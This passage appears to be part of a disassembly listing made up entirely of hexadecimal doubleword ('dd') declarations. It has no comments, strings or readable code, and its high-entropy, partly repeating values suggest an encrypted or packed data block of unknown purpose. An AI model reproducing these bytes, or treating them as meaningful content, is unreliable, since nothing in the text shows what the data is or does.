0A28694C8h, 2E8EFB29h, 8F6E49C5h, 0C6AF41E8h dd 0AC5A447Ah, 60E0C3B9h, 40BCB37Bh, 1EF9FB30h, 6D46A2B4h dd 0C1E82A13h, 612BEF18h, 60CAF5BDh, 3350E8B9h, 6DFBB3DCh dd 52B2C5DCh, 28F94B31h, 8A964D05h, 27F955F0h, 5507280Dh dd 33DFC58Bh, 2AB62462h, 37E3B6B1h, 623BF369h, 0ED2E7145h dd 793A1BB5h, 29E4B13Ah, 2E46F5F5h, 0A2B9B730h, 0FCFB0562h dd 0AE36E27Ch, 2D2DCD10h, 0B01F8901h, 0A7B3B9ACh, 0E1B65277h dd 0D29D564h, 0C6C01C01h, 0BF07F06h, 0AC8C69E9h, 0CEB8D506h dd 1700F163h, 0F036FE5Bh, 15CC3B03h, 4F153CF0h, 4BCE8B45h dd 0D7706DACh, 6A3C4FA5h, 312BAAB4h, 0B292B160h, 0C8F2ED70h dd 0C1AEB555h, 6C80E7Dh, 2633516Fh, 0D02EA340h, 0B2D49C49h dd 0A6F100FBh, 6C8AF6C2h, 2CF2E349h, 539C71DDh, 0A2AF217h dd 0B6B51563h, 4E911535h, 0C31E185Ch, 1DF1F562h, 6DBFB661h dd 509B0001h, 0DFA7EC3Dh, 0C033D7F5h, 0E2DFBC85h, 32C4DDC1h dd 0C26A903Eh, 0BEC3EBCFh, 0FF208C79h, 7F611C69h, 800A52AAh dd 0C6C0A21Ch, 0F2FD0DEEh, 0E571F3A9h, 72CD34E8h, 7F7B5D1Eh dd 62AE7AD1h, 1308DC98h, 0A6B38041h, 0AA110544h, 0CF5D3101h dd 6DD123D8h, 0B221AB0Ah, 7CA5B4C2h, 0BBD93DDCh, 621A8610h dd 70A869BDh, 7463F91Fh, 8C4F29B7h, 7F505E15h, 0D4A3F50Eh dd 0CACF4975h, 4235455Dh, 39109E04h, 92939DBh, 5DF9DC78h dd 62F61203h, 0D66FA87h, 95247F6Fh, 71211B43h, 5E1AF4E4h dd 121D9CBDh, 1CB03FE8h, 8B336F49h, 12A39F5Ah, 0AE047431h dd 5D3ECD40h, 4996E3F5h, 176FA1Ah, 68AFCD62h, 1902B905h dd 0D13E932Ch, 0BB0E5392h, 0FEB7EF4Fh, 886912BBh, 4C4772D3h dd 5E6DDEC0h, 0C86C1017h, 0C02D9819h, 71DA45FAh, 581085C2h dd 0A4EB8518h, 6E03E962h, 0BBF0785Dh, 1E996B1Eh, 74781C0Fh dd 3C730259h, 75710268h, 9B83092Ch, 0F81C7375h, 0BB7B0FB1h dd 0F425345Dh, 26C875F0h, 0ABEB4042h, 0BD2A08AAh, 0E0B5C535h dd 2D72FBDEh, 4D3A6405h, 5AFB17B9h, 0AF102EBEh, 82D11C53h dd 19458C05h, 0B6D9B135h, 0DE9C1C52h, 0EAD49EA9h, 440B2924h dd 2FE49CAFh, 0C44A4939h, 0A28B44A0h, 374FB9Bh, 453AAB0Ah dd 761FCD7Ah, 4E2B559Dh, 0DEE548C3h, 3D1257FDh, 4FFC8695h dd 8D13FBBCh, 21C3B025h, 624FF675h, 29CC3400h, 345701A1h dd 0BE9C2C7Ah, 7D951965h, 0FBD2C040h, 0E807ED58h, 7DE35411h dd 0D230FAA6h, 5E03AAC3h, 0D20A7CB5h, 0AC8D4440h, 1799DC0Eh dd 50C4A252h, 25B8DF2Ch, 650AC414h, 661DF072h, 1C580561h dd 7684ECB5h, 4DBDE956h, 6332DB19h, 4780DA63h, 0BB2B3052h dd 6EECD960h, 0D31502DEh, 0B9FF53A6h, 0D903DF17h, 2B21D3C2h dd 0F6F1E3B0h, 7CE10768h, 6D3FD31Ah, 0BD58E27Dh, 37CAF79Eh dd 0BBCBCF50h, 6C3FF53Ch, 0D33B7084h, 4701C502h, 0CEF4FE4Bh dd 7DD467A2h, 5EF60D62h, 71021388h, 5C7D3EBAh, 4EDE57F7h dd 0AE185D58h, 0AD7F304h, 5EE2F313h, 631AB070h, 0DBFDE0AAh dd 0EF7CC49Fh, 0AB1EF0DBh, 650D5671h, 2F02FBCh, 9108A637h dd 5EFE1134h, 8CFC55E3h, 0C2F0EB12h, 665D7141h, 58FF6931h dd 0BA05E006h, 57CA101Ch, 0D831151Ch, 3A249D0Eh, 0CFFE9D19h dd 0B6666744h, 597BBC10h, 0DAAA1672h, 0C87B10C0h, 0AA100E53h dd 7CF7AB0h, 6181B1B9h, 0B05DEC4Dh, 0A42993B9h, 5EFEF671h dd 1F52E01Fh, 216B8D0Dh, 30F1FD0Dh, 0A0B9BD01h, 9E0D67Bh dd 4AC3D3Fh, 0AAE609DAh, 0A681EE0Ah, 0E9170B64h, 631AE16Fh dd 0AB9AE3C8h, 3CAFECD5h, 0DCB03116h, 5CDFD265h, 23A90051h dd 0B9DBC87Fh, 56FA7927h, 14D5F4E4h, 7BC509E8h, 4A171D56h dd 0F3AC0945h, 0C3A20910h, 62F1082Fh, 0A9FEB8EAh, 792EE279h dd 683B9FC0h, 38CE0EBAh, 24EE073Ch, 732EE019h, 5D3EA576h dd 0EA2EE3B2h, 0B3A74D41h, 91FD02B2h, 0DAD775ABh, 0D092B5Ah dd 4E3AF0B1h, 5613D0B1h, 5D05C47Eh, 6D4FF279h, 0B77D3082h dd 75017DCh, 990D7113h, 646AC2FBh, 0BAE5AC1Ah, 0F7E9D0Bh dd 9F6EC830h, 98CBC383h, 43DC9D9Fh, 0E2732B5h, 0AB16C2B5h dd 26CA3563h, 4A55D1A7h, 0A2021182h, 0CFE11D6Bh, 0AC874A31h dd 5286743Dh, 10B046FDh, 0A6DEBB31h, 0E0ED09Bh, 0D9262D16h dd 6C0A501Fh, 95D000BDh, 0ED692BEh, 248236B5h, 0A75A8506h dd 0B744F2EEh, 5C4D1A56h, 76FAC5Dh, 0A1377908h, 0BFF1AD55h dd 0BD00E264h, 6FD2FB64h, 45AB48B9h, 9C436826h, 4DBAE9B5h dd 0B6E5EE21h, 5E27EF48h, 6B9FD27Ch, 95279E30h, 98E16164h dd 0BBC961EAh, 0BE87F2DAh, 9AEC9DB9h, 4CD1DE71h, 3EB0C679h dd 48F57D8Dh, 82C6CB03h, 0E370F4B5h, 3C8E31Dh, 47005A9Eh dd 311EE375h, 5CFBEC61h, 2D399620h, 254C3D13h, 0D67E5DB1h dd 92BEE1EDh, 3F1EF4EAh, 0AE9EEF0Ah, 58A0DE18h, 0AE00313Bh dd 0A51BB82Eh, 4326CD1Eh, 239EEE0Ch, 4D990877h, 6FEC4B61h dd 1A5221DAh, 68CBDD3Ch, 72CBBEE6h, 0F1FBAD5Fh, 0C37E966Ah dd 0DCBBC5h, 0D52FACBDh, 0BC668239h, 864B92B0h, 0AB01933Bh dd 0A8000072h, 0E220DC64h, 0AB753663h, 36F7E23Fh, 0CDBDBD3h dd 562AF40h, 5048918Fh, 9814CA16h, 7CEBE472h, 0DED6D255h dd 2BD0FCBh, 0D98B4EB2h, 33E5F10Eh, 4C0E3C45h, 0A039CAA5h dd 7C28DFC3h, 5BDDD511h, 0A92F0D33h, 8E8AB730h, 0E3467EFAh dd 0DD2A3564h, 0BBAAF0B8h, 13D33174h, 66E036DBh, 63150363h dd 3430E0B7h, 2E19224h, 3A110322h, 3934AF02h, 3A916501h dd 60B6D91Bh, 81DDC316h, 8508BC6Bh, 43A3A9CCh, 78F104BBh dd 0BE03BC2Dh, 0C091A01Ch dd 0EBD1387Dh, 43417BB4h, 3013C8D1h, 0BF60C512h, 3DEB6A39h dd 0A8A1E17Dh, 3963EDCFh, 0BD00C57Bh, 0D1E95F0h, 1CCBBCC9h dd 0F450DF3h, 5CAA5ABAh, 72B7B1CAh, 0A7ABB325h, 57062178h dd 6CBB7763h, 0DF7B3D27h, 4B57DA9Bh, 69481C78h, 72460BDh dd 60C73E13h, 184633C6h, 6E26B7BDh, 0AE522AEEh, 6F4AADC3h dd 5494F1FBh, 6074771Ch, 0ACBF2B0h, 0C823CB10h, 0F336DD0h dd 0EF0164Eh, 0BED1EC5Eh, 5C2345Dh, 241A96E6h, 67E0B0ADh dd 1CFDFB16h, 728128C3h, 0E418408Eh, 6820CE55h, 0AA07D900h dd 0D7EA01B8h, 0C1221644h, 0A224859h, 7AD4F259h, 0EE526E8h dd 0AFAAD950h, 0EB76BE78h, 64FBCA7Bh, 0DA790519h, 675211E0h dd 0F1805EFFh, 0CE240528h, 8D03ED2Dh, 745BB2ADh, 2DC4688Fh dd 3B7EF66Ch, 6D1C3B57h, 4DB5B5CFh, 0A1B5945h, 63CA3B13h dd 14611169h, 5C291950h, 0BF4534Bh, 8C0E6971h, 0B2BFE10Bh dd 6690FEE1h, 719685F5h, 68223131h, 385CEE14h, 2F020700h dd 7F97A12Fh, 0E45A37D0h, 29A9077Ah, 0E664E551h, 3D87BFC9h dd 0CFFF9928h, 0E4BEA1Bh, 7C17D8C1h, 88D4DCE4h, 8FF81120h dd 853F64Fh, 696DA426h, 7B6892C3h, 0F5647191h, 12C68FD6h dd 0F7F30D44h, 50EA904Bh, 54FEB3CEh, 0C0684553h, 0B3D7F594h dd 7C783959h, 0ACD81DF0h, 0EE028827h, 0AA943181h, 8442728Eh dd 68E2087Ch, 0D6F58FEFh, 0C4FA6C09h, 0AD60EBEh, 644142BDh dd 0FAF3D30h, 8D04C288h, 42981C6Bh, 7A1AEF21h, 133B75A0h dd 0C4573D5Ch, 0BB54728Eh, 5A97B471h, 581135DDh, 42DEE215h dd 0B2FD06BCh, 9E233534h, 5E072545h, 0FEBB5591h, 0EE1E7AB3h dd 0DEB3757Dh, 0C6FE9943h, 0ACAAA8C5h, 62C10D39h, 0BCCEB029h dd 72DEED19h, 5E30F13Ch, 4EFAE541h, 0BE231534h, 23350561h dd 574931A1h, 2BFF40EBh, 0EE2046BCh, 23827561h, 0BE9533EDh dd 2BA2E9DDh, 5EB90331h, 0EBBA521h, 7A1ECAB3h, 66B3F97Dh dd 0AD45ED43h, 621D0D51h, 0BC2EB045h, 8E3341BDh, 0BF5D236Ah dd 2C6EE985h, 5E8503F9h, 3ABB95D1h, 221EB2B3h, 0EB3A57Dh dd 7EFED543h, 0ACEEA809h, 62010D79h, 0BC0EB069h, 0AE26ED5Dh dd 92322D3Ch, 0BF59236Bh, 2C66E981h, 5E8103F9h, 36BB89D1h dd 1A1EB6B3h, 0AB3D97Dh, 76FECD43h, 0ACF2A871h, 62050D7Dh dd 0BC1AB051h, 0A62EED45h, 96322D3Ch, 0BF51236Ch, 2C66E99Dh dd 5F7903F1h, 0CABB65E1h, 3A1E8EB3h, 26B3B97Dh, 12FEA143h dd 0ACDEA819h, 62F50D0Dh, 0BC02B07Dh, 4212ED6Dh, 0AE33013Ch dd 9EFD3541h, 0AB0A593Dh, 5F5D0395h, 0E6BB7985h, 0D61E62B3h dd 0C6B39D7Dh, 36FE8D43h, 22FEB731h, 0ACCAA825h, 62DD0D15h dd 0BCEAB005h, 5AFAED75h, 4AFA253Ah, 0BA230934h, 23393D61h dd 524931A1h, 861E52A3h, 0F2B34D7Dh, 0DEFE7543h, 0AC92A8E9h dd 62AD0DC1h, 0BCBEB039h, 7ADAED2Dh, 6A30F93Ch, 56FAED41h dd 42231D34h, 232D0161h, 0BC4130B5h, 8A411FADh, 0F6B34D7Dh dd 0E6FE7D43h, 0AC86A8E1h, 62A10DD5h, 0BCB2B0C9h, 0EC6ED3Dh dd 7630C93Ch, 5EFAF141h, 4E231934h, 23250961h, 483930B1h dd 504D3BB4h, 823A03F4h, 246A4161h, 0BF7D33F5h, 2B8AE9E5h dd 5E9D03D5h, 5EB4B9C5h, 12BBAD39h, 21ED6B3h, 6EB3C17Dh dd 5EFEF543h, 0AC12A86Dh, 62250D5Dh, 0BC2EB04Dh, 963EE2B9h dd 24511D65h, 0BF653399h, 2C72E98Dh, 5E8503FDh, 0C2BB95EDh dd 2E1EBAB3h, 1EB3B57Dh, 6FED943h, 0ACEEA805h, 62010D79h dd 0BC16B06Dh, 0A22EED49h, 8EFCAD3Ah, 0A47A7052h, 0BD66B081h dd 0DB7AEDF1h, 0CA30993Ch, 36FA8D41h, 1E20B134h, 23D2D961h dd 0BEE5331Dh, 2BF2E90Dh, 5E05037Dh, 42BA116Dh, 0AE2106B3h dd 9EB2357Dh, 8310254Ah, 5F5D2843h, 0EABB7985h, 0DA1E6EB3h dd 0CAB3997Dh, 32FE8D43h, 0ACC2A839h, 62D50D2Dh, 0BCE2B01Dh dd 62F2ED0Dh, 4E30E13Ch, 0BEFD1541h, 0AA233934h, 0BD832960h dd 0FBD110ADh, 0BCE56D3Ah, 0D97D3EACh, 0C63BB060h, 36FE8D43h dd 0ACBAA831h, 62D50D29h, 0BCE2B01Dh, 5EF2ED0Dh, 4A33193Ch dd 0B6FD0941h, 0A6233D34h, 5B4D2D61h, 82BB5155h, 0F21E46B3h dd 0D6B3757Dh, 3EFE9D43h, 0ACB2A8C9h, 62C90D3Dh, 0BCD6B011h dd 66EAED05h, 5630ED3Ch, 42FD1D41h, 0AA230534h, 0BC832960h dd 86411691h, 0F6B34D7Dh, 0E2FE7143h, 0AC8AA8E5h, 629D0DD5h dd 0BCAAB0C5h, 16BEED35h, 630DD3Ch, 72FACD41h, 5E20F534h dd 23151961h, 0BE25335Dh, 223AEEB1h, 8A3217A9h, 0F6FE4D43h dd 0AD7AA8F1h, 62890DE5h, 0BC92B0EDh, 2EA6EDDDh, 1A30B53Ch dd 2FAD941h, 6E20C134h, 23FEF561h, 0BE153369h, 2B26E95Dh dd 0BA3D00B1h, 8E0114A9h, 0AD62A89Dh, 63750D8Dh, 0BC8AB0E1h dd 3A9AEDD5h, 2630BD3Ch, 12FAA141h, 7A20D534h, 23F2F961h dd 0BE05337Dh, 2B16E951h, 5E2D0341h, 1EB82EB5h, 0A2165961h dd 0BD5EB099h, 0E76EED89h, 0D6306D3Ch, 0C6FA9D41h, 36208D34h dd 23B6BD61h, 0BEC53321h, 2BD6E92Dh, 5EF10305h, 4EBBE179h dd 0BAB3594Eh, 0A2FE3D43h, 464D03E3h, 0FEFA56A1h, 0EA204534h dd 23826961h, 0BE9533EDh, 2BA2E9DDh, 5EB503CDh, 0ABBD921h dd 7E1ECAB3h, 6EB3C57Dh, 5AFEE943h, 0AC1AA851h, 622D0D45h dd 0AA3EB1B9h, 8E230BA9h, 24625561h, 0BF79338Dh, 2B8AE9E5h dd 5EA103D9h, 22BBBDC9h, 0E1EDAB3h, 2B3D57Dh, 72FEC143h dd 0ACFAA875h, 620D0D65h, 0BC1AB055h, 0AA2AED45h, 0A22C293Ch dd 0AB1B593Dh, 5F5D0395h, 0DEBB718Dh, 0CA1E9EB3h, 32B38D7Dh dd 1EFEB143h, 0ACCEA829h, 62E10D19h, 0BCF2B009h, 4E06ED7Dh dd 0BA33153Ch, 0AAFD3941h, 22D52934h, 0F46609ADh, 0FA3B6943h dd 0EA207934h, 23866961h, 0BE9533EDh, 2BA2E9DDh, 5EB90331h dd 0ABBD921h, 7A1ECEB3h, 6AB3F97Dh, 56FEE943h, 0AC16A851h dd 622D0D45h, 0A3AB1B5h, 0F31D593Dh, 0AD612894h, 636D0D85h dd 0BD7AB0F5h, 0CA8AEDE5h, 32308D3Ch, 22FAB141h, 0E20A534h dd 23DED561h, 0BEF9330Dh, 2B06E961h, 5E1D0355h, 0AABA3945h dd 0AB172EB3h, 831C594Ah, 5F5D2843h, 0EABB7D89h, 0D21E62B3h dd 3AB3957Dh, 22FEBD43h, 0ACCAA825h, 62DD0D15h, 0BCF2B005h dd 4E06ED7Dh, 0BE33153Ch, 0AAFD0541h, 96282D34h, 789E7040h dd 0EA3B6943h, 0D6206934h, 239A9161h, 0BEB133C9h, 2BC2E939h dd 5ED90311h, 72BBC101h, 5E1EEAB3h, 4AB2197Dh, 0B2010D43h dd 0AB3EA9B5h, 0EB8B0DA9h, 0A3164360h, 0AD76A8F1h, 62890DE1h dd 0BC9AB0D1h, 22AEEDC9h, 0E30A13Ch, 7EFAD541h, 6A20C534h dd 2306E961h, 49193351h, 5E290394h, 96BD2EB1h, 0BD6B4442h dd 2C6528FDh, 5F7903F1h, 0CABB99E1h, 321E82B3h, 22B3B17Dh dd 0EFEA543h, 0ACE2A81Dh, 62F90D0Dh, 0BC06B061h, 0BE16ED51h dd 0AE33053Ch, 0BCE92941h, 5E205D45h, 0F6BB4D99h, 0E61E72B3h dd 0D6B36D7Dh, 0C6FE9D43h, 0ACA2A8C1h, 62B50DC9h, 0BCCAB021h dd 76DEED19h, 6630FD3Ch, 5AFAE941h, 4A231934h, 23290961h dd 483D30B5h, 0BC4D36B4h, 82FE5143h, 0AD6AA885h, 62850DF9h dd 0BC92B0EDh, 2AAAEDDDh, 1630AD3Ch, 2FADD41h, 6A20C534h dd 230AED61h, 0BE213359h, 0D236E94Dh, 0BA025961h, 0AD5EA899h dd 63750D89h, 0BC82B0FDh, 3A9AEDD1h, 2A30B93Ch, 1AFAA941h dd 0A20D934h, 23E6C961h, 0BEFD3371h, 2B0EE969h, 5E210359h dd 0A6BA3D49h, 962022B3h, 265BDD46h, 5F652843h, 0E2BB718Dh dd 0D21E66B3h, 0C2B3917Dh dd 32FE8143h, 0ACBAA835h, 62D10D29h, 0BCEAB01Dh, 5AFAED75h dd 4A33193Ch, 0BAFD0941h, 0A6233934h, 5B492D61h, 86BB5D47h dd 0EE1E42B3h, 0D6B3697Dh, 0C6FE9D43h, 0ACA6A8C1h, 62B90D31h dd 0BCCAB025h, 7ADAED15h, 6630F93Ch, 56FAED41h, 46231D34h dd 23250961h, 0BE313349h, 0B846ECBDh, 8A3B699Ch, 0F6204D34h dd 24767D61h, 0BE8933E1h, 2B9EE9D9h, 5EB103C9h, 16BBAD39h dd 7E1ED2B3h, 6EB3C57Dh, 5AFEE943h, 0AC16A86Dh, 622D0D45h dd 92FE9EB9h, 245D0565h, 0BF6D3385h, 2C7EE9F9h, 5E9503EDh dd 32BB81DDh, 221EB6B3h, 16B3A17Dh, 2FEDD43h, 0ACEAA805h dd 62FD0D75h, 0BC0EB069h, 0B21EED59h, 0A233313Ch, 9E292543h dd 2C5EE995h, 5F710389h, 0D6BB6DF9h, 0C61E92B3h, 32B38D7Dh dd 1AFEB543h, 0ACD2A82Dh, 62E50D1Dh, 0BCF2B00Dh, 5202ED7Dh dd 0BE33153Ch, 0AEFD0541h, 96352934h, 5F51034Bh, 0F6BB4D99h dd 0E21E76B3h, 0CEB3617Dh, 3EFE9543h, 0ACAEA8C9h, 62CD0D21h dd 0BCDEB015h, 66EEED09h, 4E30E53Ch, 0BAFD0941h, 0A6233934h dd 0B4553084h, 0F23B68D3h, 0DEFA7141h, 0C6209934h, 23A68D61h dd 0BEB93331h, 2BC6E921h, 5EE10315h, 6ABBF909h, 521EE2B3h dd 42B2117Dh, 0B2010D43h, 0AD3AA9B5h, 8E3A55A9h, 0FE205534h dd 24727961h, 0BE8533FDh, 2B96E9EDh, 5EB103C1h, 12BBA139h dd 21ED6B3h, 72B3C17Dh, 5EFEF143h, 0AC12A86Dh, 79250D5Dh dd 0A232ED83h, 92FEAD3Ah, 2C55294Eh, 5F690381h, 0DABB69F1h dd 0CA1E9EB3h, 36B3897Dh, 22FEB143h, 0ACCAA825h, 62DD0D15h dd 0BCEAB005h, 52FEED79h, 4233113Ch, 0AAFD3941h, 22D52934h dd 0FC663FADh, 0A32C5043h, 247A7161h, 0BE9133E9h, 2BAAE9DDh dd 5EC50339h, 7EBBD12Dh, 661EFEB3h, 4EB3E17Dh, 0BA010943h dd 0AC32A84Dh, 0B04900BDh, 86FA52A1h, 0F6204D34h, 24767D61h dd 0BE8D33E5h, 2B9EE9D5h, 5EB103C9h, 16BBAD39h, 61ED2B3h dd 6EB3C17Dh, 5AFEE943h, 0AC12A86Dh, 62250D5Dh, 0BC32B1B1h dd 8A3341BDh, 0BF5D20B1h, 2C6AE985h, 5F7D03F5h, 0CABB99E5h dd 3A1E8EB3h, 2AB3B97Dh, 1AFEB543h, 0ACCEA829h, 62E50D19h dd 0BCF2B00Dh, 5202ED7Dh, 0BE33113Ch, 0ECBFB44h, 5882D1Ah dd 0E92AFA1Ch, 4CCCDD2Ch, 3647DDB4h, 7D350E89h, 50CA7E02h dd 7E29D59Bh, 5923CA04h, 0AAF3C369h, 2008CE84h, 0A7670008h dd 5F4BDE0Eh, 504939CBh, 7D3AF167h, 9D9ED792h, 0B2CFC80Ch dd 53FF387h, 7346F258h, 0A457398Ah, 0A7A1CF14h, 0C3386681h dd 0EE96292Fh, 0A2D73D44h, 7B3EDD19h, 0EE331F8h, 902367FEh dd 76B19E11h, 35683126h, 8321B3Fh, 0AAA8EFF4h, 0A21D3D18h dd 0A1A49ECEh, 13F2D50Fh, 0C35123Ah, 7E11DC9Dh, 0CBDE690Eh dd 0EAFEF158h, 6B4ACD9Ah, 7F812EB5h, 8CEA1F17h, 5EBD8A7Dh dd 0EBD93133h, 338E1EBh, 473ADD1Eh, 4AC66CE2h, 0C4883086h dd 71F37519h, 0D0A53489h, 371F30B4h, 0D7EC7434h, 35A5DE4Ch dd 5313F6A3h, 0B4218B17h, 213D33B9h, 0BCF2CBBDh, 2E3AD474h dd 42E6D3ADh, 0F69921Eh, 0DBF5FB4h, 0EC35010Ah, 5B0C3A13h dd 0B4BAF912h, 0F11A240Fh, 71FE65BDh, 8364C92Ch, 0B5F4CA8Bh dd 0A2C4E0B9h, 1901CC6Dh, 0ABCC34E6h, 139F140Eh, 154B4BB5h dd 729E2EBEh, 22D67AD4h, 0C4DDD56Eh, 0F6627DF6h, 4EEAB48Fh dd 0F4D0CFB5h, 0E93E3075h, 0E632F11Dh, 5AD7C873h, 0B16447D1h dd 572ED8B0h, 0B8B3251Ch, 7CB335C4h, 7ED06DA0h, 0B4D7357Ch dd 692D3200h, 0F4954C33h, 197535D8h, 751A98Ch, 70023965h dd 0BB64F7DFh, 0EEF5C55Fh, 155FB049h, 1326CF00h, 1FAF014Bh dd 0F3E7C2F5h, 0BC6FC9DBh, 0CCE30BC5h, 2103353Bh, 0AACC8D5Fh dd 0ADE66330h, 85CAE045h, 0AA891578h, 0B3DA098Fh, 21EF0D4Ch dd 3E1D4B4h, 2FF5E99Bh, 0BE0ACB48h, 0DA2201F8h, 14EE39A5h dd 0D6D6B010h, 0F3DED3B1h, 0ABE3E787h, 0F803141Eh, 0CCE2873Dh dd 0B2B3C345h, 55008D15h, 0F9D30676h, 47E9C318h, 0A8F90151h dd 17C8F471h, 37C6D340h, 7B1CB216h, 2ACF56B2h, 0A346711Ch dd 25D96865h, 9823072h, 7BF27DB5h, 7FDDC2B5h, 0CF0DE7B8h dd 0DF10D23Fh, 41CCD67Fh, 0DED7A2B9h, 0A6803190h, 0ACE191CBh dd 0C063F2Dh, 2AE2FC10h, 0AB68D87Dh, 0AB6EB17Fh, 2ED6B615h dd 70DFA9B1h, 0EA3D035Ah, 8DCE295Ch, 1ADD5C60h, 2C50D7F8h dd 3100DFBDh, 0E3AAB13h, 0A2D8CA47h, 2B8DC587h, 6CFD124h dd 0EB73D992h, 89A601ADh, 3DDE5A64h, 0AA8E42B4h, 313A7E75h dd 6ACFB2C1h, 2CDF3515h, 0C2DBFF2Fh, 98D38D7Dh, 10C37217h dd 0C28E3191h, 42068A9Ch, 6261881Dh, 44A0B459h, 0D732153Fh dd 0AEDEAA40h, 0FEDAF9BDh, 41506BC9h, 2AC90120h, 76698BA0h dd 70DE25E9h, 6DD0F41h, 6BAF3AF6h, 30516943h, 725D3508h dd 0C2D630FBh, 43F631F8h, 85E231CFh, 0F7334A4Bh, 0B637B7Ah dd 0BE3D0217h, 0AB766D04h, 4F1A462Fh, 12DE55E4h, 24BA31DBh dd 142EA027h, 0AF4EBE49h, 7336A13h, 0C237613Ah, 0C4DB58B4h dd 30AF516h, 0E2CB2886h, 6D32CFCDh, 0E1BA203h, 0D1CE48B4h dd 0A620712Ah, 933EF5E6h, 20A52B00h, 0A3D5D7BDh, 0AAF11F52h dd 73CF07DCh, 0A70EDAE1h, 8D2D196Fh, 287CCF90h, 0CA3E7EBDh dd 670A290Ah, 0BAFF84B4h, 5AEED384h, 0C4DB6CF3h, 1431DC45h dd 2A2B442Fh, 3D7F9254h, 45FB7AB9h, 0C43D00B9h, 81251A24h dd 1E15D1CFh, 711F5E45h, 0D4F414F1h, 0AAD4F0B2h, 0E1570C70h dd 0C336A322h, 0B2F5091Ah, 0C22E0D6h, 7DF2962h, 4EE3305Eh dd 2A96CD7Fh, 0AB8DA4ECh, 9F65817h, 406099D8h, 3B85C55Dh dd 0BDD63ABDh, 817140h, 81F6302Ch, 4EA2C80Fh, 803B3115h dd 0AE1D2901h, 0E584E22h, 0A9EE3D33h, 54DA4A4Eh, 7D352CE2h dd 0A60EC907h, 793A5475h, 0AAFEDB21h, 2D0EDB1Ch, 4167CD53h dd 0CEA3919h, 9E3AE0C1h, 96293FFEh, 0DED10834h, 8A33878h dd 5CD9D8BDh, 5A19C415h, 0C6B1D0BDh, 0DB46316Eh, 0A6309514h dd 6D866D18h, 40FB352Fh, 7CA43181h, 7D350FE4h, 0A3DEA0B1h dd 0C97AC9Ah, 0C8161DD6h, 568699F8h, 0B503830Dh, 733631D1h dd 6DE23119h, 72FFCA51h, 0DF80CC79h, 483AEF2Ch, 46DA013Ch dd 63327AEDh, 0ABD83F8Bh, 7CF87C8Dh, 0C42D3C6Fh, 4EE75D56h dd 1E391DB1h, 3BF90D04h, 0A2B14F4Dh, 0F9B2868Eh, 69CE7792h dd 0C0114DB4h, 0E1CED44h, 2F7529C3h, 4D33CA83h, 5A32CD99h dd 0ABF1E1Ah, 0EFC2B572h, 7E1A124Ch, 99C56745h, 0DE043508h dd 0BE3D0D64h, 3D1772B5h, 4436E08Ah, 0A348A53Eh, 0BE26726Ah dd 132FF817h, 96D81ABDh, 0AE9ECDADh, 5A99C8AFh, 0BC05A6FEh dd 2DDCE1FAh, 12350F12h, 8D32D4CBh, 62EB7C79h, 0D61D7235h dd 20905ABh, 7B314EBCh, 67F5D5Eh, 0AA84B1F8h, 961E8DA6h dd 99328D03h, 40E1E17Dh, 67C7CD10h, 3FBA22B5h, 232AAE1h dd 0A5A792Eh, 0A62FE513h, 0FA1E8A2Dh, 0CDD6D810h, 0E02B9F09h dd 6A3AFCACh, 74ED297Fh, 19D6B14h, 0BB884B45h, 6C351C21h dd 0B3F6DF3Dh, 87B642C6h, 4930151h, 0A39D301Ch, 37E34E51h dd 0ECA599E5h, 0AEDF0EB9h, 1631EDC3h, 9F0072Ch, 13F4DA69h dd 413A90B5h, 55CD372Eh, 0A62E9AB4h, 0E1B8C64h, 3EC83135h dd 0A28C71BDh, 0A2C1307Ah, 6350D359h, 2D2D01BDh, 0FDBACF15h dd 6B521121h, 6C17DB37h, 6889EFAAh, 62236594h, 63278C4h dd 863ED978h, 5ADF2942h, 2DE12964h, 31E20D71h, 0F2E38A11h dd 6088D873h, 68698512h dd 143A1EB4h, 0B37B45D9h, 0EBD5BD01h, 0A3AD294Ch, 2AB3D816h dd 6BCC31D2h, 0C07B29BCh, 320CCFB9h, 7BC276B5h, 3C36311Bh dd 10E0F64Dh, 444E399Ah, 0A73AE019h, 0EEFFFF19h, 0FE63293Bh dd 2EB22EBDh, 23F1292Ch, 735CBE16h, 12C91EACh, 42FB97F1h dd 0AF6291Ah, 0ABD41C5Eh, 0AB6872ADh, 0BB4F81B7h, 610DC0Ch dd 364FE21Fh, 84D034Eh, 0BDE65E3h, 43297C10h, 0A318397Ch dd 2EF11417h, 0EE1283B9h, 0AB0AFADAh, 0AB97AAE6h, 3C8C01B4h dd 1C82915h, 2394B139h, 2513CB5Dh, 8A3C7704h, 202A785Ah dd 7C16F31Ah, 3EB76D6Ah, 50326C5Ah, 5D6931D0h, 3EF2CAD2h dd 8DE4BD31h, 1A6DBA5Eh, 63D884B4h, 8B1A9909h, 47F8B8D3h dd 4930A44Bh, 0F61A3CB5h, 0F3D39C0h, 50C8D5BDh, 7F2AC338h dd 323ADC2Fh, 0CFC11FBDh, 2F3D0619h, 0AEE86615h, 0AB68D5DBh dd 0AA8CA00Ch, 2FEABB9h, 0BB55DB47h, 131677BDh, 51B2910h dd 24EB934Dh, 60E05C6Dh, 3503294Bh, 0B467367Fh, 9A7CF0E6h dd 0A3050F88h, 0D28A3335h, 0D2E23152h, 1ECECC1Ah, 3432C9F5h dd 0C371331Dh, 7489311Eh, 12DE12B0h, 0DEFCF2Ch, 3C7A2871h dd 7C2C2953h, 0AD2BF91Fh, 0C8DC13h, 0CEB93800h, 34915AD3h dd 43B83543h, 6079307Ch, 3B7539BDh, 0AAB999B4h, 0B2B0D6D3h dd 5317473Ch, 1466E0B5h, 5B1B31DCh, 9DDEEBB5h, 7BC9F539h dd 0A6DA6FD1h, 7ED5A3C5h, 714B0471h, 5BCEF595h, 3396D822h dd 0DB1ADF4Dh, 15F62960h, 0CA3931D1h, 0B69ED63Ah, 6F1EA8CFh dd 7F1F2945h, 7EAFB51Fh, 6F35EAB1h, 0C0935E6h, 3777E2F2h dd 6F4838E7h, 0D2D62912h, 0ADA42C6h, 0BBB39CBh, 5199FBF5h dd 0A629521Bh, 9B9DB8Ah, 60B0DDD9h, 0A5D2BB13h, 19499796h dd 7575355Bh, 5B32BB81h, 0AAEEDC83h, 44D564B7h, 22FA0913h dd 72F6DD5Ch, 59A5261h, 5DFAB2A5h, 287FDF76h, 43CA4341h dd 0E833322h, 0AB8D6114h, 0EDB04F8Ah, 91B26C4Ch, 0A2ACEDCh dd 0DFDA322Ch, 522030D7h, 0F55C952Dh, 4DE57CB5h, 0A2F75C05h dd 263B6D5Eh, 0F1467783h, 41007D44h, 14D1B241h, 0C0F2CDF0h dd 7F33C2B9h, 0B36BCD03h, 0DBBEC151h, 0D961ECFCh, 0E715525Ch dd 29ED53E8h, 